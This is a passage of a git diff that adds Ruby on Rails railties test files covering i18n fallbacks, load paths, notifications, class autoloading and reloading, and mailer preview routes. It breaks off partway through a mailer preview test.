+    test "I18n.load_path is reloaded" do
+      add_to_config <<-RUBY
+        config.cache_classes = false
+      RUBY
+
+      app_file "config/locales/en.yml", <<-YAML
+en:
+  foo: "1"
+      YAML
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/i18n',   :to => lambda { |env| [200, {}, [I18n.load_path.inspect]] }
+        end
+      RUBY
+
+      require "rack/test"
+      extend Rack::Test::Methods
+      load_app
+
+      get "/i18n"
+
+      assert_match "en.yml", last_response.body
+
+      # Wait a full second so we have time for changes to propagate
+      sleep(1)
+
+      app_file "config/locales/fr.yml", <<-YAML
+fr:
+  foo: "2"
+      YAML
+
+      get "/i18n"
+      assert_match "fr.yml", last_response.body
+      assert_match "en.yml", last_response.body
+    end
+
+    # Fallbacks
+    test "not using config.i18n.fallbacks does not initialize I18n.fallbacks" do
+      I18n.backend = Class.new(I18n::Backend::Simple).new
+      load_app
+      assert_no_fallbacks
+    end
+
+    test "config.i18n.fallbacks = true initializes I18n.fallbacks with default settings" do
+      I18n::Railtie.config.i18n.fallbacks = true
+      load_app
+      assert_includes I18n.backend.class.included_modules, I18n::Backend::Fallbacks
+      assert_fallbacks de: [:de, :en]
+    end
+
+    test "config.i18n.fallbacks = true initializes I18n.fallbacks with default settings even when backend changes" do
+      I18n::Railtie.config.i18n.fallbacks = true
+      I18n::Railtie.config.i18n.backend = Class.new(I18n::Backend::Simple).new
+      load_app
+      assert_includes I18n.backend.class.included_modules, I18n::Backend::Fallbacks
+      assert_fallbacks de: [:de, :en]
+    end
+
+    test "config.i18n.fallbacks.defaults = [:'en-US'] initializes fallbacks with en-US as a fallback default" do
+      I18n::Railtie.config.i18n.fallbacks.defaults = [:'en-US']
+      load_app
+      assert_fallbacks de: [:de, :'en-US', :en]
+    end
+
+    test "config.i18n.fallbacks.map = { :ca => :'es-ES' } initializes fallbacks with a mapping ca => es-ES" do
+      I18n::Railtie.config.i18n.fallbacks.map = { ca: :'es-ES' }
+      load_app
+      assert_fallbacks ca: [:ca, :"es-ES", :es, :en]
+    end
+
+    test "[shortcut] config.i18n.fallbacks = [:'en-US'] initializes fallbacks with en-US as a fallback default" do
+      I18n::Railtie.config.i18n.fallbacks = [:'en-US']
+      load_app
+      assert_fallbacks de: [:de, :'en-US', :en]
+    end
+
+    test "[shortcut] config.i18n.fallbacks = [{ :ca => :'es-ES' }] initializes fallbacks with a mapping ca => es-ES" do
+      I18n::Railtie.config.i18n.fallbacks = [{ ca: :'es-ES' }]
+      load_app
+      assert_fallbacks ca: [:ca, :"es-ES", :es, :en]
+    end
+
+    test "[shortcut] config.i18n.fallbacks = [:'en-US', { :ca => :'es-ES' }] initializes fallbacks with the given arguments" do
+      I18n::Railtie.config.i18n.fallbacks = [:'en-US', { ca: :'es-ES' }]
+      load_app
+      assert_fallbacks ca: [:ca, :"es-ES", :es, :'en-US', :en]
+    end
+
+    test "[shortcut] config.i18n.fallbacks = { ca: :en } initializes fallbacks with a mapping ca => :en" do
+      I18n::Railtie.config.i18n.fallbacks = { ca: :en }
+      load_app
+      assert_fallbacks ca: [:ca, :en]
+    end
+
+    test "disable config.i18n.enforce_available_locales" do
+      add_to_config <<-RUBY
+        config.i18n.enforce_available_locales = false
+        config.i18n.default_locale = :fr
+      RUBY
+
+      load_app
+      assert_equal false, I18n.enforce_available_locales
+
+      assert_nothing_raised do
+        I18n.locale = :es
+      end
+    end
+
+    test "default config.i18n.enforce_available_locales does not override I18n.enforce_available_locales" do
+      I18n.enforce_available_locales = false
+
+      add_to_config <<-RUBY
+        config.i18n.default_locale = :fr
+      RUBY
+
+      load_app
+      assert_equal false, I18n.enforce_available_locales
+
+      assert_nothing_raised do
+        I18n.locale = :es
+      end
+    end
+  end
+end
diff --git a/railties/test/application/initializers/load_path_test.rb b/railties/test/application/initializers/load_path_test.rb
new file mode 100644
index 0000000000..dbefb22837
--- /dev/null
+++ b/railties/test/application/initializers/load_path_test.rb
@@ -0,0 +1,109 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class LoadPathTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+      FileUtils.rm_rf "#{app_path}/config/environments"
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    test "initializing an application adds the application paths to the load path" do
+      add_to_config <<-RUBY
+        config.root = "#{app_path}"
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert_includes $:, "#{app_path}/app/models"
+    end
+
+    test "initializing an application allows to load code on lib path inside application class definition" do
+      app_file "lib/foo.rb", <<-RUBY
+        module Foo; end
+      RUBY
+
+      add_to_config <<-RUBY
+        require "foo"
+        raise "Expected Foo to be defined" unless defined?(Foo)
+      RUBY
+
+      assert_nothing_raised do
+        require "#{app_path}/config/environment"
+      end
+
+      assert_includes $:, "#{app_path}/lib"
+    end
+
+    test "initializing an application eager load any path under app" do
+      app_file "app/anything/foo.rb", <<-RUBY
+        module Foo; end
+      RUBY
+
+      add_to_config <<-RUBY
+        config.root = "#{app_path}"
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert Foo
+    end
+
+    test "eager loading loads parent classes before children" do
+      app_file "lib/zoo.rb", <<-ZOO
+        class Zoo ; include ReptileHouse ; end
+      ZOO
+
+      app_file "lib/zoo/reptile_house.rb", <<-ZOO
+        module Zoo::ReptileHouse ; end
+      ZOO
+
+      add_to_config <<-RUBY
+        config.root = "#{app_path}"
+        config.eager_load_paths << "#{app_path}/lib"
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert Zoo
+    end
+
+    test "eager loading accepts Pathnames" do
+      app_file "lib/foo.rb", <<-RUBY
+        module Foo; end
+      RUBY
+
+      add_to_config <<-RUBY
+        config.eager_load = true
+        config.eager_load_paths << Pathname.new("#{app_path}/lib")
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert Foo
+    end
+
+    test "load environment with global" do
+      $initialize_test_set_from_env = nil
+      app_file "config/environments/development.rb", <<-RUBY
+        $initialize_test_set_from_env = 'success'
+        Rails.application.configure do
+          config.cache_classes = true
+          config.time_zone = "Brasilia"
+        end
+      RUBY
+
+      assert_nil $initialize_test_set_from_env
+      add_to_config <<-RUBY
+        config.root = "#{app_path}"
+          config.time_zone = "UTC"
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert_equal "success", $initialize_test_set_from_env
+      assert Rails.application.config.cache_classes
+      assert_equal "Brasilia", Rails.application.config.time_zone
+    end
+  end
+end
diff --git a/railties/test/application/initializers/notifications_test.rb b/railties/test/application/initializers/notifications_test.rb
new file mode 100644
index 0000000000..b847ac6b36
--- /dev/null
+++ b/railties/test/application/initializers/notifications_test.rb
@@ -0,0 +1,55 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class NotificationsTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def instrument(*args, &block)
+      ActiveSupport::Notifications.instrument(*args, &block)
+    end
+
+    def wait
+      ActiveSupport::Notifications.notifier.wait
+    end
+
+    test "rails log_subscribers are added" do
+      add_to_config <<-RUBY
+        config.colorize_logging = false
+      RUBY
+
+      require "#{app_path}/config/environment"
+      require "active_support/log_subscriber/test_helper"
+
+      logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+      ActiveRecord::Base.logger = logger
+
+      # Mimic Active Record notifications
+      instrument "sql.active_record", name: "SQL", sql: "SHOW tables"
+      wait
+
+      assert_equal 1, logger.logged(:debug).size
+      assert_match(/SHOW tables/, logger.logged(:debug).last)
+    end
+
+    test "rails load_config_initializer event is instrumented" do
+      app_file "config/initializers/foo.rb", ""
+
+      events = []
+      callback = ->(*_) { events << _ }
+      ActiveSupport::Notifications.subscribed(callback, "load_config_initializer.railties") do
+        app
+      end
+
+      assert_equal %w[load_config_initializer.railties], events.map(&:first)
+      assert_includes events.first.last[:initializer], "config/initializers/foo.rb"
+    end
+  end
+end
diff --git a/railties/test/application/integration_test_case_test.rb b/railties/test/application/integration_test_case_test.rb
new file mode 100644
index 0000000000..1118e5037a
--- /dev/null
+++ b/railties/test/application/integration_test_case_test.rb
@@ -0,0 +1,73 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class IntegrationTestCaseTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    setup do
+      build_app
+    end
+
+    teardown do
+      teardown_app
+    end
+
+    test "resets Action Mailer test deliveries" do
+      script("generate mailer BaseMailer welcome")
+
+      app_file "test/integration/mailer_integration_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class MailerIntegrationTest < ActionDispatch::IntegrationTest
+          setup do
+            @old_delivery_method = ActionMailer::Base.delivery_method
+            ActionMailer::Base.delivery_method = :test
+          end
+
+          teardown do
+            ActionMailer::Base.delivery_method = @old_delivery_method
+          end
+
+          2.times do |i|
+            define_method "test_resets_deliveries_\#{i}" do
+              BaseMailer.welcome.deliver_now
+              assert_equal 1, ActionMailer::Base.deliveries.count
+            end
+          end
+        end
+      RUBY
+
+      output = Dir.chdir(app_path) { `bin/rails test 2>&1` }
+      assert_equal 0, $?.to_i, output
+      assert_match(/0 failures, 0 errors/, output)
+    end
+  end
+
+  class IntegrationTestDefaultApp < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    setup do
+      build_app
+    end
+
+    teardown do
+      teardown_app
+    end
+
+    test "app method of integration tests returns test_app by default" do
+      app_file "test/integration/default_app_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class DefaultAppIntegrationTest < ActionDispatch::IntegrationTest
+          def test_app_returns_action_dispatch_test_app_by_default
+            assert_equal ActionDispatch.test_app, app
+          end
+        end
+      RUBY
+
+      output = Dir.chdir(app_path) { `bin/rails test 2>&1` }
+      assert_equal 0, $?.to_i, output
+      assert_match(/0 failures, 0 errors/, output)
+    end
+  end
+end
diff --git a/railties/test/application/loading_test.rb b/railties/test/application/loading_test.rb
new file mode 100644
index 0000000000..c75a25bc6f
--- /dev/null
+++ b/railties/test/application/loading_test.rb
@@ -0,0 +1,371 @@
+require "isolation/abstract_unit"
+
+class LoadingTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  def setup
+    build_app
+  end
+
+  def teardown
+    teardown_app
+  end
+
+  def app
+    @app ||= Rails.application
+  end
+
+  test "constants in app are autoloaded" do
+    app_file "app/models/post.rb", <<-MODEL
+      class Post < ActiveRecord::Base
+        validates_acceptance_of :title, accept: "omg"
+      end
+    MODEL
+
+    require "#{rails_root}/config/environment"
+    setup_ar!
+
+    p = Post.create(title: "omg")
+    assert_equal 1, Post.count
+    assert_equal "omg", p.title
+    p = Post.first
+    assert_equal "omg", p.title
+  end
+
+  test "concerns in app are autoloaded" do
+    app_file "app/controllers/concerns/trackable.rb", <<-CONCERN
+      module Trackable
+      end
+    CONCERN
+
+    app_file "app/mailers/concerns/email_loggable.rb", <<-CONCERN
+      module EmailLoggable
+      end
+    CONCERN
+
+    app_file "app/models/concerns/orderable.rb", <<-CONCERN
+      module Orderable
+      end
+    CONCERN
+
+    app_file "app/validators/concerns/matchable.rb", <<-CONCERN
+      module Matchable
+      end
+    CONCERN
+
+    require "#{rails_root}/config/environment"
+
+    assert_nothing_raised { Trackable }
+    assert_nothing_raised { EmailLoggable }
+    assert_nothing_raised { Orderable }
+    assert_nothing_raised { Matchable }
+  end
+
+  test "models without table do not panic on scope definitions when loaded" do
+    app_file "app/models/user.rb", <<-MODEL
+      class User < ActiveRecord::Base
+        default_scope { where(published: true) }
+      end
+    MODEL
+
+    require "#{rails_root}/config/environment"
+    setup_ar!
+
+    User
+  end
+
+  test "load config/environments/environment before Bootstrap initializers" do
+    app_file "config/environments/development.rb", <<-RUBY
+      Rails.application.configure do
+        config.development_environment_loaded = true
+      end
+    RUBY
+
+    add_to_config <<-RUBY
+      config.before_initialize do
+        config.loaded = config.development_environment_loaded
+      end
+    RUBY
+
+    require "#{app_path}/config/environment"
+    assert ::Rails.application.config.loaded
+  end
+
+  test "descendants loaded after framework initialization are cleaned on each request without cache classes" do
+    add_to_config <<-RUBY
+      config.cache_classes = false
+      config.reload_classes_only_on_change = false
+    RUBY
+
+    app_file "app/models/post.rb", <<-MODEL
+      class Post < ActiveRecord::Base
+      end
+    MODEL
+
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get '/load',   to: lambda { |env| [200, {}, Post.all] }
+        get '/unload', to: lambda { |env| [200, {}, []] }
+      end
+    RUBY
+
+    require "rack/test"
+    extend Rack::Test::Methods
+
+    require "#{rails_root}/config/environment"
+    setup_ar!
+
+    assert_equal [ActiveRecord::SchemaMigration, ActiveRecord::InternalMetadata], ActiveRecord::Base.descendants
+    get "/load"
+    assert_equal [ActiveRecord::SchemaMigration, ActiveRecord::InternalMetadata, Post], ActiveRecord::Base.descendants
+    get "/unload"
+    assert_equal [ActiveRecord::SchemaMigration, ActiveRecord::InternalMetadata], ActiveRecord::Base.descendants
+  end
+
+  test "initialize cant be called twice" do
+    require "#{app_path}/config/environment"
+    assert_raise(RuntimeError) { Rails.application.initialize! }
+  end
+
+  test "reload constants on development" do
+    add_to_config <<-RUBY
+      config.cache_classes = false
+    RUBY
+
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get '/c', to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [User.counter.to_s]] }
+      end
+    RUBY
+
+    app_file "app/models/user.rb", <<-MODEL
+      class User
+        def self.counter; 1; end
+      end
+    MODEL
+
+    require "rack/test"
+    extend Rack::Test::Methods
+
+    require "#{rails_root}/config/environment"
+
+    get "/c"
+    assert_equal "1", last_response.body
+
+    app_file "app/models/user.rb", <<-MODEL
+      class User
+        def self.counter; 2; end
+      end
+    MODEL
+
+    get "/c"
+    assert_equal "2", last_response.body
+  end
+
+  test "does not reload constants on development if custom file watcher always returns false" do
+    add_to_config <<-RUBY
+      config.cache_classes = false
+      config.file_watcher = Class.new do
+        def initialize(*); end
+        def updated?; false; end
+        def execute; end
+        def execute_if_updated; false; end
+      end
+    RUBY
+
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get '/c', to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [User.counter.to_s]] }
+      end
+    RUBY
+
+    app_file "app/models/user.rb", <<-MODEL
+      class User
+        def self.counter; 1; end
+      end
+    MODEL
+
+    require "rack/test"
+    extend Rack::Test::Methods
+
+    require "#{rails_root}/config/environment"
+
+    get "/c"
+    assert_equal "1", last_response.body
+
+    app_file "app/models/user.rb", <<-MODEL
+      class User
+        def self.counter; 2; end
+      end
+    MODEL
+
+    get "/c"
+    assert_equal "1", last_response.body
+  end
+
+  test "added files (like db/schema.rb) also trigger reloading" do
+    add_to_config <<-RUBY
+      config.cache_classes = false
+    RUBY
+
+    app_file "config/routes.rb", <<-RUBY
+      $counter ||= 0
+      Rails.application.routes.draw do
+        get '/c', to: lambda { |env| User.name; [200, {"Content-Type" => "text/plain"}, [$counter.to_s]] }
+      end
+    RUBY
+
+    app_file "app/models/user.rb", <<-MODEL
+      class User
+        $counter += 1
+      end
+    MODEL
+
+    require "rack/test"
+    extend Rack::Test::Methods
+
+    require "#{rails_root}/config/environment"
+
+    get "/c"
+    assert_equal "1", last_response.body
+
+    app_file "db/schema.rb", ""
+
+    get "/c"
+    assert_equal "2", last_response.body
+  end
+
+  test "dependencies reloading is followed by routes reloading" do
+    add_to_config <<-RUBY
+      config.cache_classes = false
+    RUBY
+
+    app_file "config/routes.rb", <<-RUBY
+      $counter ||= 1
+      $counter  *= 2
+      Rails.application.routes.draw do
+        get '/c', to: lambda { |env| User.name; [200, {"Content-Type" => "text/plain"}, [$counter.to_s]] }
+      end
+    RUBY
+
+    app_file "app/models/user.rb", <<-MODEL
+      class User
+        $counter += 1
+      end
+    MODEL
+
+    require "rack/test"
+    extend Rack::Test::Methods
+
+    require "#{rails_root}/config/environment"
+
+    get "/c"
+    assert_equal "3", last_response.body
+
+    app_file "db/schema.rb", ""
+
+    get "/c"
+    assert_equal "7", last_response.body
+  end
+
+  test "columns migrations also trigger reloading" do
+    add_to_config <<-RUBY
+      config.cache_classes = false
+    RUBY
+
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get '/title', to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [Post.new.title]] }
+        get '/body',  to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [Post.new.body]] }
+      end
+    RUBY
+
+    app_file "app/models/post.rb", <<-MODEL
+      class Post < ActiveRecord::Base
+      end
+    MODEL
+
+    require "rack/test"
+    extend Rack::Test::Methods
+
+    app_file "db/migrate/1_create_posts.rb", <<-MIGRATION
+      class CreatePosts < ActiveRecord::Migration::Current
+        def change
+          create_table :posts do |t|
+            t.string :title, default: "TITLE"
+          end
+        end
+      end
+    MIGRATION
+
+    Dir.chdir(app_path) { `rake db:migrate` }
+    require "#{rails_root}/config/environment"
+
+    get "/title"
+    assert_equal "TITLE", last_response.body
+
+    app_file "db/migrate/2_add_body_to_posts.rb", <<-MIGRATION
+      class AddBodyToPosts < ActiveRecord::Migration::Current
+        def change
+          add_column :posts, :body, :text, default: "BODY"
+        end
+      end
+    MIGRATION
+
+    Dir.chdir(app_path) { `rake db:migrate` }
+
+    get "/body"
+    assert_equal "BODY", last_response.body
+  end
+
+  test "AC load hooks can be used with metal" do
+    app_file "app/controllers/omg_controller.rb", <<-RUBY
+      begin
+        class OmgController < ActionController::Metal
+          ActiveSupport.run_load_hooks(:action_controller, self)
+          def show
+            self.response_body = ["OK"]
+          end
+        end
+      rescue => e
+        puts "Error loading metal: \#{e.class} \#{e.message}"
+      end
+    RUBY
+
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get "/:controller(/:action)"
+      end
+    RUBY
+
+    require "#{rails_root}/config/environment"
+
+    require "rack/test"
+    extend Rack::Test::Methods
+
+    get "/omg/show"
+    assert_equal "OK", last_response.body
+  end
+
+  def test_initialize_can_be_called_at_any_time
+    require "#{app_path}/config/application"
+
+    assert !Rails.initialized?
+    assert !Rails.application.initialized?
+    Rails.initialize!
+    assert Rails.initialized?
+    assert Rails.application.initialized?
+  end
+
+  private
+
+    def setup_ar!
+      ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+      ActiveRecord::Migration.verbose = false
+      ActiveRecord::Schema.define(version: 1) do
+        create_table :posts do |t|
+          t.string :title
+        end
+      end
+    end
+end
diff --git a/railties/test/application/mailer_previews_test.rb b/railties/test/application/mailer_previews_test.rb
new file mode 100644
index 0000000000..f5c013dab6
--- /dev/null
+++ b/railties/test/application/mailer_previews_test.rb
@@ -0,0 +1,785 @@
+require "isolation/abstract_unit"
+require "rack/test"
+require "base64"
+
+module ApplicationTests
+  class MailerPreviewsTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    test "/rails/mailers is accessible in development" do
+      app("development")
+      get "/rails/mailers"
+      assert_equal 200, last_response.status
+    end
+
+    test "/rails/mailers is not accessible in production" do
+      app("production")
+      get "/rails/mailers"
+      assert_equal 404, last_response.status
+    end
+
+    test "/rails/mailers is accessible with correct configuration" do
+      add_to_config "config.action_mailer.show_previews = true"
+      app("production")
+      get "/rails/mailers", {}, "REMOTE_ADDR" => "4.2.42.42"
+      assert_equal 200, last_response.status
+    end
+
+    test "/rails/mailers is not accessible with show_previews = false" do
+      add_to_config "config.action_mailer.show_previews = false"
+      app("development")
+      get "/rails/mailers"
+      assert_equal 404, last_response.status
+    end
+
+    test "/rails/mailers is accessible with globbing route present" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '*foo', to: 'foo#index'
+        end
+      RUBY
+      app("development")
+      get "/rails/mailers"
+      assert_equal 200, last_response.status
+    end
+
+    test "mailer previews are loaded from the default preview_path" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+    end
+
+    test "mailer previews are loaded from a custom preview_path" do
+      add_to_config "config.action_mailer.preview_path = '#{app_path}/lib/mailer_previews'"
+
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      app_file "lib/mailer_previews/notifier_preview.rb", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+    end
+
+    test "mailer previews are reloaded across requests" do
+      app("development")
+
+      get "/rails/mailers"
+      assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+      remove_file "test/mailers/previews/notifier_preview.rb"
+      sleep(1)
+
+      get "/rails/mailers"
+      assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+    end
+
+    test "mailer preview actions are added and removed" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+      assert_no_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+
+          def bar
+            mail to: "to@example.net"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      text_template "notifier/bar", <<-RUBY
+        Goodbye, World!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+
+          def bar
+            Notifier.bar
+          end
+        end
+      RUBY
+
+      sleep(1)
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      remove_file "app/views/notifier/bar.text.erb"
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      sleep(1)
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+      assert_no_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+    end
+
+    test "mailer previews are reloaded from a custom preview_path" do
+      add_to_config "config.action_mailer.preview_path = '#{app_path}/lib/mailer_previews'"
+
+      app("development")
+
+      get "/rails/mailers"
+      assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      app_file "lib/mailer_previews/notifier_preview.rb", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+      remove_file "lib/mailer_previews/notifier_preview.rb"
+      sleep(1)
+
+      get "/rails/mailers"
+      assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+    end
+
+    test "mailer preview not found" do
+      app("development")
+      get "/rails/mailers/notifier"
+      assert last_response.not_found?
+      assert_match "Mailer preview &#39;notifier&#39; not found", last_response.body
+    end
+
+    test "mailer preview email not found" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/bar"
+      assert last_response.not_found?
+      assert_match "Email &#39;bar&#39; not found in NotifierPreview", last_response.body
+    end
+
+    test "mailer preview NullMail" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            # does not call +mail+
+          end
+        end
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo"
+      assert_match "You are trying to preview an email that does not have any content.", last_response.body
+      assert_match "notifier#foo", last_response.body
+    end
+
+    test "mailer preview email part not found" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo?part=text%2Fhtml"
+      assert last_response.not_found?
+      assert_match "Email part &#39;text/html&#39; not found in NotifierPreview#foo", last_response.body
+    end
+
+    test "message header uses full display names" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "Ruby on Rails <core@rubyonrails.org>"
+
+          def foo
+            mail to: "Andrew White <andyw@pixeltrix.co.uk>",
+                 cc: "David Heinemeier Hansson <david@heinemeierhansson.com>"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo"
+      assert_equal 200, last_response.status
+      assert_match "Ruby on Rails &lt;core@rubyonrails.org&gt;", last_response.body
+      assert_match "Andrew White &lt;andyw@pixeltrix.co.uk&gt;", last_response.body
+      assert_match "David Heinemeier Hansson &lt;david@heinemeierhansson.com&gt;", last_response.body
+    end
+
+    test "part menu selects correct option" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      html_template "notifier/foo", <<-RUBY
+        <p>Hello, World!</p>
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo.html"
+      assert_equal 200, last_response.status
+      assert_match '<option selected value="?part=text%2Fhtml">View as HTML email</option>', last_response.body
+
+      get "/rails/mailers/notifier/foo.txt"
+      assert_equal 200, last_response.status
+      assert_match '<option selected value="?part=text%2Fplain">View as plain-text email</option>', last_response.body
+    end
+
+    test "mailer previews create correct links when loaded on a subdirectory" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
